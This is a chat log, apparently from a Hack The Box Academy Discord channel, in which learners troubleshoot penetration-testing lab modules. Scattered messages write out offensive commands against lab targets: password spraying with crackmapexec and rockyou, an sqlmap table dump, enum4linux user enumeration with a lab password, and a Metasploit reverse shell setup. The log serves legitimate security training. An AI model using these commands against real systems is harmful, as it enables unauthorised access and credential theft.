modules

[unreal crescent]

Even not pinging it I find it odd that it keeps outputting the IP backwards with NSLOOKUP... am I doing something wrong?

[dim wolf]

that's just what a reverse lookup does.

[unreal crescent]

Ah, lol

[dim wolf]

it'll reverse the IP like that

[ivory dock]

You could just tee it to a file. Like:

crackmapexec ..... | tee -a output.txt

[vital adder]

i can't remember on the top of my head but there is tools for enum big amount of user and output it's (even for report) but right now i don't even remember where you can get info on tool like that but the AD module should help (i think)

[ivory dock]

no problem

[unreal crescent]

I guess next step in troubleshooting is why the heck can't I find it lol

[vital adder]

oh wait why tf are the previous one RHOST? which section is that?

• if you mean RPORT in your previous message then i think you are right

[ivory dock]

Why though? The handler is running on my machine and needs to connect to the pivot host (that has the socat listener running, which is the first command in the screenshot) on port 8080, which will then forward to the internal Windows host.

[ivory dock]

Socat Redirection with a Bind Shell (yes, I wanted to say RPORT)

okay thought I was going crazy hahah

[wooden sonnet]

Using the devtools right because ive logged in using all the other methods? ive tried it using the devtools over 20times and i just dont get why it doesn't work. am out now but will try again when i get home. thank you for replying bro

[vital adder]

np and what i did for this is login > copy cookie > logout > use old cookie value to login

[wooden sonnet]

same thing i did but i'll try again later

[placid quest]

@ivory dock no

[unreal crescent]

So um... is the Zonetransfers module... just broken for me?

I feel like I am missing a huge step lol

[vital adder]

i'm double checking the pivot module right now i'll give that a check in bit but the last time i checked everything was working fine

[unreal crescent]

Doesn't help that I haven't worked on this in like... 2 years lol

[vital adder]

i mean that section is for a bind shell and so of course you have to use rhost to connect into that shell but if then why are the example using rhost and lport

[ivory dock]

no what

[vital adder]

after only few week without hacking web when i got back to that i was like a caveman

[placid quest]

@ivory dock because u are listening for incoming connection

[ivory dock]

I'm not, the pivot host is listening on port 8080

look at the first command in the screenshot

[unreal crescent]

starting to wonder if my dns is working on my machine

Nope. I can resolve to stuff

just nothing that the module tells me to lol

[ivory dock]

It's a bind shell, not a reverse shell

[dim wolf]

you can only resolve to the spawned vm

[placid quest]

@ivory dock ok

[unreal crescent]

but its asking for a FQDN of a different IP address

[dim wolf]

ok, try searching the DNS records

[vital adder]

@ivory dock yeah i got 0 idea how bind shell work i never use it but i just give it a try and didn't set and rport on lport and rhost and it's still work

[ivory dock]

hmm weird

[dim wolf]

a reverse shell has the target connect to the attack host

a bind shell has the attack host connect to the target host

so your LPORT would be the port the bind shell connects back to on your host

[vital adder]

@unreal crescent yep just give it a quick try and everything seem to be working fine for me what issue are you having?

[ivory dock]

ahh I know my issue, LPORT refers to a listening port on a host, and since we're using a bind shell, the only port we could be referring to is the one on the remote host, because of the nature of bind shells

[vital adder]

this is why i only use rev shell

[unreal crescent]

I'm probably just an idiot lol. I can't seem to dig or nslookup any of the items that it asks for in the questions

[vital adder]

which one

[ivory dock]

Bind shells don't connect back to us (the attacker).

[dim wolf]

yeah i just realized that..

[unreal crescent]

in particular 10.10.34.136 and 10.10.1.5

[ivory dock]

Figured it out though

[dim wolf]

i even said that the bind shell has the attack host connect to the target host

[ivory dock]

lol

[unreal crescent]

but all of them really. Those are just two of the questions I have left to answer lol

[vital adder]

so like i said all subdomain are dead including those 2 so what you have to do here is find a way to dump as much subdomain as you can (i use dig) and each one will give you an ip and after that just fine the subdomain that match the ip

[unreal crescent]

oh so I would dig the target?

[vital adder]

also the last one i end up manually counting it

[vital adder]

yep

[unreal crescent]

See I knew it was gonna be stupid lol

[unreal crescent]

Wow I am rusty... I can't get anything out of Dig either

[vital adder]

hint ||zone transfer||

[waxen kayak]

slightly off topic: is there any decent way to change the theme\colors on the academy website? For some reason the current colors just totally induce eye strain\fatigue for me.

[autumn pilot]

nope

[waxen kayak]

I didn't think so :/

[autumn pilot]

search for a browser addon/plugin that can adjust colors

[placid quest]

@hybrid nymph dm

[unreal crescent]

At this point I am just getting frustrated at my own incompetence

[rustic sage]

yoo sup

i need to learn how to hack

[dim wolf]

no one here is to going to provide you hacking services.

[unreal crescent]

I can't even get a previous answer at this point... not even the dang nameserver

[dim wolf]

/starthere

[vital adder]

@autumn pilot while you are here

[rustic sage]

what

wdym

[dim wolf]

the command is supposed to work

but i guess not

[rustic sage]

oh ok

[red obsidian]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[dim wolf]

there we go

[red obsidian]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[rustic sage]

oh alrt

alr tysm

[dim wolf]

no one here will provide you hacking services.

[vital adder]

#modules message

yeah everyone can hack but no one is going to help you with that

[unreal crescent]

Ethical Hacking...

[vital adder]

this is a cyber security learning platforms not a hacker for hire forum

[unreal crescent]

We practice Ethical hacking here...

[rustic sage]

Oh k

[novel matrix]

Please read the rules.

and can we please keep this channel on topic related to Modules. Otherwise, I'll have to hand out mutes.

[rustic sage]

Sorry

how do i open the OVPN?

[novel matrix]

#1024429874246590575

[rustic sage]

oh ok my bad

[unreal crescent]

I can't figure out what I am doing wrong... I can't even use nslookup to get the name server anymore in the ZoneTransfer Module... it says it can't find inlanefreight.htb even if I use the target ip

[dim wolf]

you might need to reset the VM

[rugged spire]

м

[dim wolf]

@novel matrix ..

[novel matrix]

ik

👢

🤣 funny how they tried multiple times. Anyway

[unreal crescent]

... hmm... nope wasn't the VM. It's likely I just have forgotten everything, but I'd expect nslookup -type=NS $ip $ip being the IP of my target spawned would get me something instead of an NXDOMAIN error... It's got to be me though.. I am definitely forgetting some important first steps

[dim wolf]

i find dig to be my preferred DNS enumeration tool

[unreal crescent]

None of it. I can't use any of it.

[dim wolf]

let me pull up the module

[unreal crescent]

dig doesn't give me an answer only the Authority

mrTOM said everything is working. I feel like it's just a failure on my part

[dim wolf]

which section is it?

[unreal crescent]

Active Subdomain Enumeration

of the Information Gathering -Web Edition

[dim wolf]

and you're trying to find the FQDN for 10.10.34.136?

[unreal crescent]

Among other things, but I went back to basics and tried to re-answer the first question

and I am failing to even do that lol

[dim wolf]

ok, i pulled up the FQDNs

[unreal crescent]

The lol was definitely forced... I am feeling pretty incompetent right now lol

[dim wolf]

i'd say try using dig

[unreal crescent]

dig just returns authority and no answers for me

[dim wolf]

what's your command?

[unreal crescent]

I've tried dig -x, dig, dig any with a the target ip, inlanefreight.htb, and the ips that are for those questions

separately of course

[dim wolf]

yeah but what's the command you're doing

[unreal crescent]

latest was dig any $ip

got no servers could be reached

its definitely user error though

[dim wolf]

$ip is a user-defined variable, did you set the variable to the IP?

[unreal crescent]

yeah

I used export ip= and the ip of the spawned machine

[dim wolf]

and did you specify the nameserver?

[unreal crescent]

I tried, but it told me that it couldn't find the address of the nameserver

[dim wolf]

what did you put for the nameserver?

[unreal crescent]

dig any $ip @ns.inlanefreight.htb

[dim wolf]

your host has no way of resolving ns.inlanefreight.htb

put the IP of the VM there instead

[unreal crescent]

like localhost? or $ip

[dim wolf]

the IP of the target i mean

[unreal crescent]

still no answers on dig

[dim wolf]

the other problem is that you're trying to query DNS records for $ip, but the nameserver you're querying won't have that IP in its records

try querying for the domain instead

[unreal crescent]

do I need to add inlanefreight.htb to my hosts file?

[dim wolf]

you don't need to

the DNS server is supposed to resolve queries for a domain

all you need is the IP address of the nameserver you're trying to query and the domain you want to query

if you query a domain name for the nameserver and you get a response back, then you're good to go

[unreal crescent]

oh like put inlanefreight where I had $ip and have $ip as the nameserver

[dim wolf]

yeah

[unreal crescent]

oh that gets me answers now lol... Man... I am rusty as hell lol

at the very least that allows me to re-solve the first question lol

[waxen barn]

A little piece of advice: If you’re stuck on a really frustrating lab, just disengage for the rest of the day and come back to it the next day. I usually solve it within a few hours when that happens.

[unreal crescent]

Right now It's more of an issue of forgetting everything that I learned a couple years ago lol

[waxen barn]

lol that was general advice. You’ll probably have that issue soon too though.

[unreal crescent]

Fair. Yeah I notice that previously it works to take a step back

[waxen barn]

Helped me on Command Injections. That Skills Assessment was no joke.

[unreal crescent]

Yeah that one was fun

hmmm... still not sure how to use what he helped me with to solve the rest of it lol

clear

oops lol

At the very least I am getting an answer for the nameserver again lol

[tidal mango]

on the Windows Privilege Escalation module. The Pillaging section. Question is "Log in as Grace and find the cookies for the slacktestapp.com website. Use the cookie to log in into slacktestapp.com from a browser within the RDP session and submit the flag. ". This is where I should be able to extract a cookie from the cookies.sqlite for slack.
I can extract the cookie just fine, but when I go to the slack.com page, it says I should replace cookied "d" with what I extracted. There appears to not be a cookie d on slack.com, however.

[unreal crescent]

try replacing the cookie in the request part for the page.

Kind of like Session Hijacking. I can't remember if I did the Windows Privilege Escalation module yet though so its just an idea

[tidal mango]

It looks like there are three cookies, "b", "OptanonConsent", and "x". I tried replacing all three of them. I will keep playing with it, thank you!

[unreal crescent]

Also I am back to failing lol. Can't seem to use what I learned earlier to figure out the FQDN of an IP address

[dim laurel]

Hello Everybody, doing the Linux fundamentals class having an issue with ssh ─[us-academy-2]─[10.10.14.114]─[htb-ac704460@htb-pkzc6ayftb]─[~]
└──╼ [★]$ ssh htb-student 10.129.31.217
ssh: Could not resolve hostname htb-student: Name or service not known
┌─[us-academy-2]─[10.10.14.114]─[htb-ac704460@htb-pkzc6ayftb]─[~]
└──╼ [★]$

[unreal crescent]

is htb-student the hostname or login?

[dim laurel]

Vm to the target

[unreal crescent]

Let me go back to it so I know what you are talking about ok?

[tidal mango]

did you do ssh htb-student@10.129.31.217 ?

[unreal crescent]

ah he missed the @ yeah sounds like I need to go back to linux fundamentals too

[dim laurel]

Yes

was getting it yesterday also waited few hours before trying again still same issue also try other browser.

[tidal mango]

And your connected to the VPN when doing this?

[novel anvil]

hello all, wondering if I can get some help... with WINDOWS COMMAND LINE module , I am having an issue with the VM ... I'm on the second question and found the flag for😩 the previous question but the flag does not work as the next password for the user - has anyone worked on this module before ?

any help would be awesome

[dim laurel]

also, try on another browser same issue.

[unreal crescent]

Bsmith are you talking about the question where it asks you to ssh using the username and password?

[novel anvil]

Hello there ... I am dealing with the same issue! When you say you re-deployed the environment .. did you just restart the vm session with a new target? I have tried that with no success

[median halo]

dose anyone have a help to give on the footprinting/ dns/ last question

[dim wolf]

yeah that's all i did

[rustic sage]

hey @median halo send me a friend request i'll help

[novel anvil]

Thank for the quick reply ...just to make sure that I'm not doing the wrong thing ... you ssh'd with user1@the ip and then put in the password ... correct?

[dim wolf]

yea

[novel anvil]

ok... I will give it another go .... what a pain! Happy Hacking !!!!

[dim laurel]

Thank you for the help.

[ember jewel]

Hello everyone, I'm currently working through the Active Directory module on Hack the Box and I'm having trouble understanding the difference between AD rights and privileges. I've read some explanations, but I'm still a bit confused. Could someone with experience in AD please explain the difference between the two, and perhaps provide some examples of each? Thanks in advance!

[rustic sage]

good question @ember jewel

[unreal crescent]

In the Introduction to Windows Module I am having a hell of a time figuring out how to install xfreerdp

[fathom pendant]

Privilege is the level of access you have and the rights to make changes, rights means that is just your ability to interact with things

But overall they're used interchangeably

Generally if you have the rights to something in Windows you have privileges on it

https://superuser.com/questions/1264558/what-is-the-difference-between-right-and-permission

[ember jewel]

see, what i got from chatgpt "Rights are individual permissions that grant specific access to system resources, while privileges are group permissions that allow members of a group to perform specific administrative tasks." but then again the AD module from hack the box says otherwise "Privileges can be assigned individually to users or conferred upon them via built-in or custom group membership" which is which?

[unreal crescent]

HackTheBox in this regard is more accurate and detailed in their description. ChatGPT used more words

but isn't necessarily correct

[ember jewel]

so in that case there is no clear cut difference between rights and privileges?

[unreal crescent]

In the case of Rights and Privileges in regards to a File, Folder, Program, etc. They are interchangeable.

[rustic sage]

well you can have a group with one user @ember jewel

[unreal crescent]

OMG no matter how much space I give my VM I can't update my PWNBox lol

I'm clearly unable to install xfreerdp lol. How do I use Remmina to connect to the rdp thing in Intro Windows

I feel like I am putting the right info in the right spots, but it keeps saying lost connection

... I'm a moron lol... my VPN stopped

[waxen barn]

Use dnsenum and multiple wordlists

All in the SecLists folder

[scarlet sapphire]

module:Using CrackMapExec
Skill Assessment
Gain access to the SQL01 and submit the contents of the flag located in C:\Users\Public\flag.txt.
I need some help i cant find any more accounts to get access to sql01 can u give me some hints

[median halo]

Thank you guys

[tranquil urchin]

Hey, I have an issue with Attacking SQL Databases section from Attacking Common Services module. I've managed to get the password for mssqlsvc, but I'm stuck on enumerating the flagDB database. Htbdbuser does not have the privileges and I cannot login with mssqlsvc credentials... any hints?

[vital adder]

hint use domain syntax

[rancid wraith]

Hey! Any idea why SSH won't work? I tried removing the firewall and I'm sure the user and the IP are right. On my VM, it says timeout something.

[dusty timber]

Is the ssh service enabled?

[rancid wraith]

I enable it with sudo service ssh start, right, if so, yeah

ssh: connect to host <ip> port 22: Connection timed out

[lean finch]

Try ssh -22 user@ip

Check OpenSSL too and make sure it's running

And ufw

[rancid wraith]

Should firewall be running?

IG my terminal is just bugging because kex-win isnt running as well but it was before

I dont know

[dim wolf]

if you're trying to SSH into a box, you don't need to be running the SSH service on your machine

[deft escarp]

What are your guys' note taking methodology/process for the modules

[static roost]

How do I encode a reverse shell already written to file? In other words, I want to use msfvenom to encode a custom payload I made myself.

[rancid wraith]

I write on a notebook since I remember better when I take notes on paper. Let's say I'm doing Module: Linux Fundamentals. I write it as a big caption and every section and undersection like that:

https://snipboard.io/J7swly.jpg

1. The Shell
   1.1. Prompt Description
   1.2. Getting Help
   ... and so on
   and I do a), b), c)... where needed
   I also write all the essential commands

[deft escarp]

I'm struggling to take effective notes without doubling the amount of time each module takes

So I've been copying and pasting a lot

But I realize I'll remember things better if I write my own

I'm on a deadline

@rancid wraith

[rancid wraith]

Oh, well

I have much free time so it is not a problem when I double my time

But yeah, I am working really slowly as well

[waxen kayak]

I've found that, when I first started the modules I was struggling to identify what exactly to take notes on... So instead what I've resorted to, is more objective style notes. I'll make a .md or something with the module or objective title, have an overview \ summary or whatever and place general notes into it. And then, take notes based on the module or lab objective.

[fathom pendant]

So what if you take longer?

[fathom pendant]

Look into Obsidian

[waxen kayak]

Will do! thanks for the reference.

[fathom pendant]

Obsidian uses .md format and allows you to make back links to other documents

[wind gust]

which wordlist for passwords to use on attacking gitlab. I have the username

[final salmon]

Anybody have a link for the Academy mentoring stuff. Curious about it.

[fathom pendant]

Was there not a provided word list in resources?

[wind gust]

nope

[fathom pendant]

Academy mentoring is a meh idea tbh, like I get the premise, but it depends on how you plan to use it. As, for the most part, the modules are (usually) fairly good at teaching what you need to know

[wind gust]

did u figure this out?

[vital adder]

@novel matrix 👢 ?

[vital adder]

yep

[wind gust]

what do you recommend to use?

[vital adder]

hint nothing 🤣

[wind gust]

what do you mean lol

[vital adder]

wait let me double check this i think i did report this issue but there is an issue with the wording for this part

[vital adder]

the cred is ||sussybaka||

[deft escarp]

Idk, russia seems kinda noobish rn tbh

[wind gust]

how tf did u figure this out

lol

[vital adder]

@wind gust yep they haven't fix this but the section said you need a valid username and password but you only need a valid username

[wind gust]

how will i get RCE then?

[vital adder]

also this username is valid so you may want to remove it

[vital adder]

just run the exploit with any random password

[wind gust]

lmao

ok

[vital adder]

but i think there is an issue with the exploit if you copy or download it from exploit-db or something like that

[wind gust]

oh great

lol

[vital adder]

i did noted down the password issue but nothing about the exploit issue so i may miss remember this

but give that a try if that doesn't work shoot me a dm

[fathom pendant]

https://tenor.com/view/old-man-how-many-times-teach-you-this-lesson-spongebob-squarepants-gif-14501726

@vital adder i'm still having issues with the Attacking Common Services: SMTP may I DM you; maybe you'll have some insight into what I'm doing wrong; I'm using hydra but having noluck i've tried user and user@domain

[vital adder]

i was going to make a meme about summon pwning boot but after a kick in the nut by offshore i forgot to do that

[vital adder]

sure

[fathom pendant]

nvm

found it

turns out I just didn't try the other thing I realized my initial mistake was not using the right port

[fathom pendant]

It helps when I use the right port...huh

at least I know I actually learned it after the much time of struggling 🙃

[vital adder]

oh yeah i think i make the same mistake the first time i do this

[final salmon]

Can anybody tell me if in the "password attacks" module, "password mutations" step. If it took a long time for you to crack the password as well?

[thorn urchin]

yes

[fathom pendant]

Easy lab is mean still :(

[novel matrix]

Thanks

[fathom pendant]

ah; wrong wordlist 🙃

[paper cedar]

guyss help me start hackingT_T

[dim laurel]

Linux fundamentals will please explain the long version of usermod -L and Su, Just not following what is being asked

[paper cedar]

thankss, hope this works out:)

[novel matrix]

https://academy.hackthebox.com

[paper cedar]

amazing:')

[spring grove]

When spawning targets in the academy, what vpn do you connect to? The HTB app has the starting point vpn and the lab vpn, but when I try to ping the address on an academy machine IP with either of those vpns using my VM I get no response

[fathom pendant]

there's an academy vpn

https://academy.hackthebox.com/vpn

[spring grove]

Oh perfect, thanks!

[fathom pendant]

in the getting started module it actually talks about it xD

[spring grove]

Shouldn't have skipped the getting started module haha

[fathom pendant]

also literally on every page where you have to use the vpn; there's

[spring grove]

Weird, I didn't see that in the attacking web apps with fuff module

just PWN box

[fathom pendant]

what's the IP that you have for ffuf

for the target

if it's in the format of IP:port then you may not be able to ping it; that's an indication of a docker container where the sole enumeration methods are using web enum; whatweb, dig, nslookup, etc.

[spring grove]

Oh I see, yeah it is IP:port

[fathom pendant]

to visit the page in a browser you do need to do http://IP:PORT/

[spring grove]

For sure, thanks for the info!

[fathom pendant]

once you visit it you can add the webpage name (unless you're told that the website is something like, inlanefreight.htb) and add the IP:PORT to your /etc/hosts in the form of
IP:PORT <inlanefreight.htb>

so in short: whenever it's IP:PORT the vpn is not needed

[dim wolf]

i highly recommend doing the getting started module

[hazy grotto]

HOw do i make this in nano?

[raw heath]

Stuck on a question please help, question is: What is the path to the htb-student’s mail? Ive tried /var/mail/htb-student, ive tried MAIL= /var/mail/htb-student, ive tried env thinking it wanted the command used to find where to find the mail, im out of ideas.

[fathom pendant]

Did you put it in as the answer? No extra spaces?

[raw heath]

Yes

Also just tried /var/spool/mail

Am I doing this wrong or is the lab broken?

The following question “which shell is specified for the htb-student user?” /bin/bash worked perfectly fine

@fathom pendant it finally accepted /var/mail/htb-student….I could’ve sworn I typed that 3 times tho

[fathom pendant]

Yeah it's silly

[raw heath]

Strange..

[opaque marlin]

Question witch is better the parrot sec or pwn box vm

[cloud skiff]

module - windows fundamental
section - windows security
question - Find the SID of the bob. smith user?
my doubt - There is only one user in the system which is htb-student and I copy and paste the SID of this user, what am I doing wrong here?
never mind I solved using "wmic useraccount get name,sid"

[fathom pendant]

if you want more control over your vm; then downloading and installing the iso on a vm is better; however if you don't have the resources then pwnbox is fine... the modules have been confirmed to work fully with pwnbox :)

[opaque marlin]

thanks just asking because in the initial modules it says to installed the Sec version one and since they have the pwn box i was wondering but thanks

[fathom pendant]

it's a matter of preference

[opaque marlin]

ok

[fathom pendant]

I like being able to seemlessly transfer files to/from my vm as needed

[opaque marlin]

i will stay with the pwn and be tunning my on own box

thanks

[nova dove]

Try to gain RCE using one of the PHP wrappers and read the flag at /
m stuck at this question can someone help me please

[tranquil carbon]

Please anybody know why i can't get a reverse shell on netcat while trying to solve SOCCER, i tried getting it manually like putting my ip addr and port on my browser, it works, it captures it but after uploading the php reverse shell on the tinyfilemanager upload section, it doesnt capture it on the netcat listener, Someone please help me

[balmy radish]

#boxes is the channel to discuss htb machines. You'll want to remove the spoilers when you ask there.

[novel matrix]

#boxes

[fathom pendant]

anyone help me on this one? I'm on the last question of the hard box; unable to go much further however because I'm just stuck at the process after enabling the SQL thing

[tranquil carbon]

Thanks

[fathom pendant]

nvm figured it out

double quotes

[heavy lily]

Skills Assessment - WordPress: RCE Part in Theme Editor. Tried change to different Themes. Can't "Update File" the template. It hangs and doesn't save the updated code. any ideas what could be wrong. tried restarting vpn, machine, cleard browser cache, used other browser, waited one day and tried again. Still the same

also changed to admin user, always the same. Click "Update File" and then the website hangs and the wheel keeps spinning

tried also uploading custom plugin for RCE. Can't upload.

[acoustic owl]

You don't have to upload a file.
For example, manipulate the 404 page.

[heavy lily]

yeah that's what i wrote. it does not work changing the 404 page, because of that i tried some other stuff. I know that it should work, but always: Something went wrong. Your change may not have been saved. Please try again. There is also a chance that you may need to manually fix and upload the file over FTP.

[acoustic owl]

What did you want to change in the 404 file?
Write me a DM.

By the way, the error message regarding file upload via FTP comes from WP itself.

[dim cosmos]

are you trying to edit the active template?

[sly reef]

hey man, yeah it does not work

think about another way to upload

||(maybe a plugin?)||

[amber tusk]

Hello

[acoustic owl]

Iit does work. Mind the PHP tags 😉

[sly reef]

i tried adding a character to the commented section and returned error aswell

[acoustic owl]

Hmm? Actually you should be able to modify an existing file without any problems.

[sly reef]

i googled it and seemed to be an active plugin checking if the edition would break or not the web

https://tenor.com/view/ragey-mad-cat-angry-cat-raging-cat-rage-gif-26790394

||i installed advnaced file manager plugin and got it done||

[drowsy ingot]

anyone can help?

i use Get-Service | ? {$_.Status -eq "Running"}

and i don't know how to grep a non-standard update services

[autumn pilot]

based on the output (results) of that command make an assumption which one is a non-standard

[pine dagger]

Oh my word. Finally finished the pen testing path

[acoustic owl]

Cool, what's next? CPTS Exam or do you do a ProLab first?

Check the file extension. If you need help, send me a DM

[pine dagger]

Finish off bug bounty path (4 modules left). Then onto the hard modules. Then start working on boxes going from easy up to hard….
Then I might worry about exams :3

[fair mesa]

Hello I hope you are fine, so I need help on Attacking Common Services - Easy section.
(You are targeting the inlanefreight.htb domain. Assess the target server and obtain the contents of the flag.txt file. Submit it as the answer.)

I found a valid user using smtp-enum-user but then I can't manage to find its password using hydra (rockyou or resources pw list mutated or not mutated I also tried on ftp service so i'm blocked)
thank you very much

[dim cosmos]

well done wolf

i just did the web service and api skills assessment and steam is coming out of my ears lol

[plucky cargo]

Hello I have alpine test machine which has ssh port open and version is Openssh 8.0 I tried few exploits but didn't work can any one help me to find out proper exploit.

[subtle glen]

getting started, knowledge check, metasploit doesnt let me run the exploit bcs my ip is unavailable? pwnbox is off and i tried killing all processes without any results, chaging ports doesnt help either.
any help?

[sly reef]

send exploit options

[glossy cipher]

anyone has hints for AD Enumeration & Attacks - Skills Assessment Part II Q4?

i used
||enum4linux -u AB920 -p weasal -U 172.16.7.3 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"|| to get the list of users and put in a txt file
next i used ||sudo crackmapexec smb 172.16.7.3 -u user.txt -p /usr/share/wordlists/rockyou.txt | grep +||
but it crashes

i think is due to too many users

@.@

[tribal plume]

Broken Auth - Bruteforcing usernames question 2. I found the answer by manually inspecting all the requests in ZAP after I fuzzed the page. I'm wondering if I was supposed to be able to identify the user by using wfuzz and filtering for --hs ||"wronguser"||? When I do that, the correct user is filtered out even though the field on the reply for the correct user is ||<input type="hidden" name="validuser" value="TheAnswer">|| and doesn't have the string ||wronguser|| in it anywhere. What am I missing here?

[fathom pendant]

What module is this related to?

[full helm]

Hello, I have a question regarding one of the Academy' modules.
I'm currently doing the Case7 of the sqlmap essentials modules and i'm stuck, the hint state that ||we should give the name of each column to sqlmap|| so my current command is|| sqlmap -r req.txt --level 5 --risk 3 --batch --dump -C 'id,name,birthday,occupation,phone' -T flag7 -p 'id'||, unfortunately it does not seem to be enough. Can someone tell me what i'm doing wrong ?

[subtle glen]

Username=admin
Password=nibbles
RHOSTS=the target ip
LHOST=my tun0 ip
LPORT=9001
Targeturi=nibbleblog
Payload=generic/shell_reverse_tcp

[sly reef]

seems good, are u still connected with VPN?

has the target ran out of time?

idk

[full helm]

My bad I didn't read it correctly, I needed to set the|| number of columns|| and not their ||name||

[rustic sage]

Footprinting Lab-Hard. I cant connect to mysql from tom's machine after ssh. Any hint please?

[subtle glen]

I've been trying it since yesterday, I charged targets at least 5 times, I tried both with a kali vm and with pwnbox

[sly reef]

shouldnt uri be http://.......

[subtle glen]

The module doesn't say so

[sly reef]

hm

which mod are u on=

?

[subtle glen]

I confused you, I'm stuck both on knowledge check and nibbles, metasploit gives me the same error for both.
The metaploit method module is right bellow privilege escalation

[rustic sage]

Footprinting Lab-Hard. I cant connect to mysql from tom's machine after ssh. Any hint please?

[subtle glen]

On knowledge check I found the website credentials, tried an exploit on ||apache 2.4.41||, filled all the requirements and I got the same error

[calm abyss]

Help, i cannot find a description on this one

To which of the above categories does public vulnerability 'CVE-2014-6271' belongs to?

[subtle glen]

Try to find what the vulnerability is about and compare it to the options given to you on the module

[rustic sage]

anyone has finished with Footprinting Module?

[fathom pendant]

I hear Tom has quite the history

[rustic sage]

already found that

[fathom pendant]

Then you have everything you need

:)

[rustic sage]

still i cant log in mysql...

[fathom pendant]

Are you connecting to sql from your machine?

[rustic sage]

from tom's

[fathom pendant]

Are you doing it exactly as Tom is?

Remember you do have the password

[rustic sage]

i have found "key:2,S" but i dont know if i should use it and how

[calm abyss]

I read on Metasploit about description Advantech Switch Bash Environment Variable Code Injection i also tried variants and nothing is true

[fathom pendant]

How did you log in to Tom's account

[rustic sage]

with id_rsa

[rustic sage]

i can't use the "key:2,S" witch is exactly the same key for ssh to tom's machine to log in mysql

[fathom pendant]

one moment let me double check my methodology for this one

[fathom pendant]

you can get Tom's password by looking at the other type of server this is

got it in roughly 5 minutes

[rustic sage]

still i dont get it. i'm stuck in this like 2 weeks now

[fathom pendant]

The lab states that this server is also a backup server, have you done the snmp enumeration?

[rustic sage]

yes you mean the passwd starts like NMds..61

[rustic sage]

this is to log in imaps

[rustic sage]

from there you get the id_rsa to ssh it tom's machine

[fathom pendant]

All I'm saying is that you do in fact have the password

There's nothing more to look for

[fathom pendant]

Have you even tried using the password?

[rustic sage]

yes 😅

[fathom pendant]

I don't recall needing to do anything extra

[rustic sage]

anyways..thanks for your time friend. I'll manage to find it

[fathom pendant]

You did mysql -u tom -p
Then pasted password after yeah?

I'm not at my computer rn

[peak hamlet]

@sharp thorn without ||-windows-auth||

[rustic sage]

yes

[rustic sage]

i found it thnx a lot 😄 i didnt used copy paste b4 i wrote a digit wrong in my notes

[peak hamlet]

The username is not MSSQLSVC, take another look at the web.config output ,|| ID=<user>||

[chilly forge]

On the Fuzzing (ffuf) module: when doing VHost fuzzing I get errors even if I enter the exact same command as shown in the module (except for the port ofc: ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:31272/ -H 'Host: FUZZ.academy.htb' -fs 900). I changed the /etc/hosts to include "209.97.185.157 academy.htb" and I did not change resolv.conf (though I tried 'nameserver 209.97.185.157', but that didn't work either). Can someone give me a hint on how to proceed? Right now a scan runs 4997 targets but all turn into Errors..?

[kind vessel]

Hello, anyone can help me with CrackMapExec Skills Assessments ?

[shadow canopy]

Try -u http:// ip:port

[fathom pendant]

In /etc/hosts add the port to the IP for academy.htb
<IP>:<Port> academy.htb

[rustic sage]

i have ip

129.158.210.181

[chilly forge]

Both of these ansers seem to have worked, thank you! Why do I need to add the port to the hosts file? Can someone explain that to me?

[final salmon]

Still working on "Password Mutations" of "Password Attacks" module. Its been over two hours following the documentation as is, using the lists + rules they provide. Wanting to ask if anybody else had the same experience, for a sanity check. Doesn't seem viable that HTB would require that much time devotion to a non-point earning question?

[chilly forge]

I'm stuck on the same question. Started doing ffuf to cleanse tha palette. I still don't know how to do that one. I tried different services (SSH, SMB, RDP, FTP) and ran through the entire 90000+ list multiple times by editing the mutated lists before the target would time out (removing failed attempts), but no result yet

[deft escarp]

@fathom pendant thanks for helping so many out here and being active.

[fathom pendant]

You're using the custom.rule provided in the Password-Attacks folder yes?

[final salmon]

yep, from the documentation I did hashcat --force password.list -r custom.rule --stdout | sort -u > mut_passwords.list. Been going at it now for 2.5 hours =/

[fathom pendant]

It shouldn't take 2 hours to create, and as well , are you providing the absolute path to the lists/rules just in case?

[graceful rampart]

It should take at most 30 seconds

[fathom pendant]

If the custom.rule and password.list aren't in the directory you're in then you need to provide a file path to them

[final salmon]

Yeah, they are in the same directory that I am operating out of. So the command is, as above.

[final salmon]

Well that is mildly infuriating and discouraging =/

[chilly forge]

@final salmon Do you also get a mutated list of over 90.000 passwords?

[fathom pendant]

Try updating your packages if you're on a VM and not pwnbox

[fathom pendant]

It sounds like it hasnt finished

[final salmon]

94044 94043 1034072 mut_password.list

[fathom pendant]

So it completed

[chilly forge]

yep I have the same one

[fathom pendant]

Why did you think it didn't complete?

[chilly forge]

And trying them all is the 2.5h job

[final salmon]

Trying again with absolute paths. We will see, thank you.

[fathom pendant]

Duded

You have a mut_passwords.list

Why are you saying it's taking 2.5 hours?

[final salmon]

Its been attempting to brute for 2.5 hours without been successful?

[fathom pendant]

Ok that's what you meant

[chilly forge]

Which service are you brute forcing on @final salmon?

[fathom pendant]

^

[final salmon]

SSH, it says "use the wordlist to brute force the SSH password". So I been sticking directly with that.

[chilly forge]

I've learnt the hard way that SSH is too slow to Bruteforce (took me 3 days to realize)

You should try another service, though I cannot tell you which one cause I have no clue either haha

I tried them all

[fathom pendant]

Give me a minute to finish eating and I'll look at my notes on that section

[final salmon]

Sall good, it will eventually find it XD. Just mildly annoying. I figured something has to be wrong, because they say for users attempting to make new BOXes on the main platform. That you should never set it up so that it takes longer than 30 minutes, if bruting was the intended path.

[fathom pendant]

Because bruting is intended but double check what services are running on the target :)

Also if it's been running 2.5 hours then your target may have timed out. So you'll need to reset it

[final salmon]

Yeah, I reset it after re-making the list with full-paths.

[fathom pendant]

Run an nmap scan to see which ports are open aside from ssh

[final salmon]

What are the box defaults, 90 minutes?

[fathom pendant]

I think so

[chilly forge]

@fathom pendant which services are the best ones to target brute force on?

[fathom pendant]

Generally anything but ssh unless you have a small list

[final salmon]

Module says that secure protocols can be a pain. RDP, SSH.

[fathom pendant]

^

[elfin nacelle]

Good Afternoon,

Currently stuck on a question within the SQLMAP ESSENTIALS module OS Exploitation section.

The hint is "The flag is in a very common directory!"

I've gained an interactive OS Shell, however im unable to find a second flag after looking at nunerous common directories.

Can someone provide a hint or nudge in the right direction?

[final salmon]

Hydra on RDP is pretty poop, I ended up using crowbar

[fathom pendant]

Hydra is alright with rdp

I've been able to do bruteforcing with crackmapexec and hydra

Also in both you can increase the threads they use

[final salmon]

